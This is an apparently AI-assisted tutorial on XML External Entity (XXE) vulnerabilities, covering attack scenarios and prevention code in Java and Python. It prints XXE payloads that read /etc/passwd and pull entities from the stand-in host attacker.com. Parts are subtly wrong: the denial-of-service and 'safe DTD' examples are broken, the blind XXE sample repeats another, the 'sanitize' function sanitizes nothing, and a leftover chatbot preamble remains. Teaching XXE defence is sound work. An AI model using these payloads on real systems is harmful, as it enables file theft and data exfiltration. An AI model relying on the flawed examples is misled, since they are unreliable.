An XML External Entity attack is a form of attack on a program that parses XML data. This attack happens when an XML parser with a poorly configured XML parser processes XML input containing a reference to an external object. This attack may result in the disclosure of sensitive data, denial of service, server-side request forgery, port scanning from the perspective of the machine hosting the parser, and other system consequences.
An attacker can escalate an XXE assault to compromise the underlying server or other back-end infrastructure in some cases by exploiting the XXE vulnerability to launch server-side request forgery (SSRF) attacks.
Some apps utilize the XML format to send data between the browser and the server. Applications that accomplish this almost always utilize a standard library or platform API to parse the XML data on the server. XXE vulnerabilities emerge because the XML specification provides a number of potentially harmful features, and standard parsers support these features even if they are not commonly utilized by the application.
5 Common XXE Attack Scenarios:
- Local File Disclosure: An attacker injects malicious XML data that references a local file on the server. When the XML is parsed, sensitive data from the server’s filesystem is exposed.
<!-- Malicious XML input -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
- Remote File Retrieval: Attackers can fetch remote files from an external server by referencing them in the XML input, potentially revealing confidential information.
<!-- Malicious XML input -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://attacker.com/evil-xxe-file">
]>
<root>&xxe;</root>
- Denial of Service (DoS): By causing the application to process large or nested entities, attackers can exploit XXE to perform DoS attacks, exhausting system resources.
<!-- Malicious XML input -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://attacker.com/evil-xxe-entity">
]>
<root>&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;</root>
- Parameter Entity Expansion: Attackers can leverage parameter entity expansion to perform XXE attacks, increasing the complexity of the attack and evading simple security filters.
<!-- Malicious XML input -->
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil-xxe-entity">
%xxe;
]>
<root></root>
- Blind XXE (Out-of-Band): In blind XXE attacks, attackers may not receive direct responses but can still exfiltrate data or perform actions indirectly through DNS or HTTP requests.
<!-- Malicious XML input -->
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil-xxe-entity">
%xxe;
]>
<root></root>
Factors That Increase the Risk of XXE:
Certainly, here are some sample explanations for each factor that increases the risk of XML External Entity (XXE) vulnerabilities:
- Processing Untrusted XML: Processing XML data from untrusted sources, such as user inputs or external XML documents retrieved from the internet, increases the risk of XXE vulnerabilities. Attackers can inject malicious XML content, taking advantage of weakly sanitized or unfiltered input. Sample: An application that accepts XML data submitted by users without proper validation and sanitization may inadvertently expose itself to XXE attacks. Users could insert crafted XML payloads to exploit vulnerabilities.
- Lack of Input Validation: Failing to validate and sanitize XML inputs before parsing allows malicious XML content to pass through, potentially leading to XXE vulnerabilities. Without proper input validation, untrusted XML can contain harmful entities. Sample: If an application blindly processes XML inputs without validating or sanitizing them, it could inadvertently execute XML entities defined by attackers, resulting in XXE vulnerabilities.
- Legacy XML Parsers: Outdated or legacy XML parsers may not include security mechanisms to defend against XXE attacks. Using older parsers without necessary updates exposes the application to increased risk. Sample: An application that relies on an outdated XML parser may lack modern security features, making it susceptible to XXE attacks that newer parsers could thwart.
- Complex XML Processing: Complex XML processing logic, especially when utilizing Document Type Definitions (DTDs) or entity expansion, can introduce vulnerabilities. Overly intricate XML processing increases the likelihood of XXE exploitation. Sample: Complex XML processing that involves DTDs with intricate entity definitions may create unexpected interactions that attackers can manipulate to execute XXE attacks.
- Misconfigured Parser Settings: Incorrect configuration of XML parsers, such as enabling external entity resolution when not required, can expose an application to XXE risks. Misconfigured settings can enable attackers to leverage external entities. Sample: An application with XML parsers configured to resolve external entities indiscriminately may allow attackers to exploit this misconfiguration for XXE attacks, potentially accessing sensitive data.
These factors illustrate how various aspects of an application’s design, configuration, and handling of XML data can contribute to the increased risk of XXE vulnerabilities. Recognizing and addressing these factors is crucial for maintaining robust security practices.
Preventing XXE Vulnerabilities:
To mitigate the risk of XXE vulnerabilities, follow these secure coding practices:
- Disable external entity resolution in XML parsers.
- Implement input validation and sanitize XML inputs.
- Use safe and modern XML parsers that provide protection against XXE.
- Avoid using DTDs or keep them simple and well-defined.
- Keep parser settings secure and limit unnecessary functionalities.
1. Disable External Entity Resolution in XML Parsers:
To disable external entity resolution in XML parsers, set the feature to prevent the resolution of external entities:
[Java] Example:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
2. Implement Input Validation and Sanitize XML Inputs:
Always validate and sanitize XML inputs to ensure they are well-formed and free from malicious content. Here’s a generic example in Python using the lxml library:
[Python] Example:
from lxml import etree
def validate_and_sanitize_xml(input_xml):
try:
# Parse and validate the XML
parsed_xml = etree.fromstring(input_xml)
# Perform further validation and sanitization as needed
return parsed_xml
except etree.XMLSyntaxError:
# Handle invalid or malicious XML input
raise Exception("Invalid XML input")
3. Use Safe and Modern XML Parsers:
Choose XML parsers that are designed to provide protection against XXE vulnerabilities. Libraries like lxml and xml.etree.ElementTree in Python have built-in security features:
[Python] Example (lxml):
from lxml import etree
def parse_xml(input_xml):
parser = etree.XMLParser(resolve_entities=False)
parsed_xml = etree.fromstring(input_xml, parser=parser)
return parsed_xml
4. Avoid Using DTDs or Keep Them Simple:
Minimize or eliminate the use of Document Type Definitions (DTDs) unless absolutely necessary. If used, keep them simple and well-defined to reduce the risk of XXE:
[XML] Example:
<!DOCTYPE foo [
<!ELEMENT foo ANY>
]>
<foo>&xxe;</foo>
5. Keep Parser Settings Secure and Limit Unnecessary Functionalities:
Review and configure parser settings to minimize unnecessary functionalities and restrict access to external entities:
[Java] Example:
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Implementing these solutions in your XML processing code helps protect your application from XXE vulnerabilities and ensures that XML data is processed safely and securely.
By understanding XXE vulnerabilities, recognizing their common attack scenarios, and adopting preventive measures, you can enhance the security of your applications and protect them from these critical threats.